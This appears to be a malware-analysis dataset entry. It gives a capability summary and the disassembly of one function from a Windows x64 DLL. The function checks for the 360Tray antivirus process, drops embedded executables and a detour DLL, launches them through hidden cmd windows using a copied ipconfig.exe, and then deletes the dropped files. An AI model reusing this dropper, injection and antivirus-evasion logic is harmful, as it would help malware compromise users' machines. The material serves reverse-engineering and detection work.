Function at 0x180007f30
Capabilities:
Allocate or change rwx memory
Copy file
Create thread
Delete file
Enumerate processes
Get common file path
Get startup folder
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x1460]
mov eax, 0x1560
call fcn.1800125b0
sub rsp, rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180007fbf
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x234
call fcn.1800143e0
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007fb6
nop dword [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp - 0x74]
call fcn.18001e8f4
mov rcx, rbx
test eax, eax
je 0x180007fd9
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007f90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180006ed0
mov rbx, qword [rsp + 0x1588]
add rsp, 0x1560
pop rbp
jmp fcn.180006cf0
mov qword [rsp + 0x1578], rsi
mov qword [rsp + 0x1580], rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [0x1800496f8]
lea rdx, str._sin64.exe
lea rcx, [rbp + 0xa10]
call fcn.18000ccf0
xor esi, esi
lea rcx, [rbp + 0xa10]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x1470]
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea rdx, [0x1800a5240]
mov r8d, 0xf753
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x1800496f8]
lea rdx, str._s_aa.dll
lea rcx, [rbp + 0xc20]
call fcn.18000ccf0
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], esi
lea rcx, [rbp + 0xc20]
xor r9d, r9d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x1470]
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea rdx, [0x180342210]
mov r8d, 0x1ec04
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x1800496f8]
lea rdx, str._sin.exe
lea rcx, [rbp + 0x3b0]
call fcn.18000ccf0
lea r8, [0x1800496f8]
lea rdx, str._sMSNDetourDLL_X64.dll
lea rcx, [rbp + 0x5c0]
call fcn.18000ccf0
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x40], rsi
mov r8, rdi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 7
lea rax, [rbp + 0x3b0]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], si
jne 0x180008150
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x40]
call fcn.1800024f0
lea rdx, [rsp + 0x40]
lea rcx, str.C:in64.exe
call fcn.1800068f0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1800081be
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800081b9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008412
call fcn.180011d18
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x5c0]
mov qword [rsp + 0x50], rsi
mov r8, rdi
mov qword [rsp + 0x58], 7
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], si
jne 0x1800081e0
lea rdx, [rbp + 0x5c0]
lea rcx, [rsp + 0x40]
call fcn.1800024f0
lea rdx, [rsp + 0x40]
lea rcx, str.C:_aa.dll
call fcn.1800068f0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18000824e
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008249
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000840c
call fcn.180011d18
xor edx, edx
mov dword [rbp + 0x7d0], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0x7d0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800082af
nop word [rax + rax]
lea rdx, str.360tray.exe
lea rcx, [rbp + 0x7fc]
call fcn.18001e8f4
mov rcx, rbx
test eax, eax
je 0x1800083fb
lea rdx, [rbp + 0x7d0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180008280
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180007ea0
lea r9, [rbp + 0x5c0]
mov dword [rsp + 0x20], eax
lea r8, [rbp + 0x3b0]
mov ebx, eax
lea rdx, str.cmd__c_start__min__s__s__d_1
lea rcx, [rbp + 0x1040]
call fcn.18000ccf0
lea r9, [0x1800496f8]
mov edx, 0x104
lea r8, str._sip.exe
lea rcx, [rbp + 0x1a0]
call fcn.180005620
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
lea rcx, str.C:WindowsSystem32ipconfig.exe
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r8, [rbp + 0x1a0]
lea rdx, str.cmd__c_start__min__s__release
lea rcx, [rbp + 0xe30]
call fcn.18000ccf0
lea r8, [rbp + 0x1a0]
lea rdx, str.cmd__c_start__min__s__renew
lea rcx, [rbp + 0x1250]
call fcn.18000ccf0
lea rdx, [rbp + 0xe30]
mov ecx, edi
call fcn.180007d60
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1040]
mov ecx, ebx
call fcn.180007d60
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1250]
mov ecx, edi
call fcn.180007d60
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0xa10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0xc20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rsi, qword [rsp + 0x1578]
mov rdi, qword [rsp + 0x1580]
mov rbx, qword [rsp + 0x1588]
add rsp, 0x1560
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp + 0x7d8]
jmp 0x1800082b8
call fcn.180018e94
int3
call fcn.180018e94
int3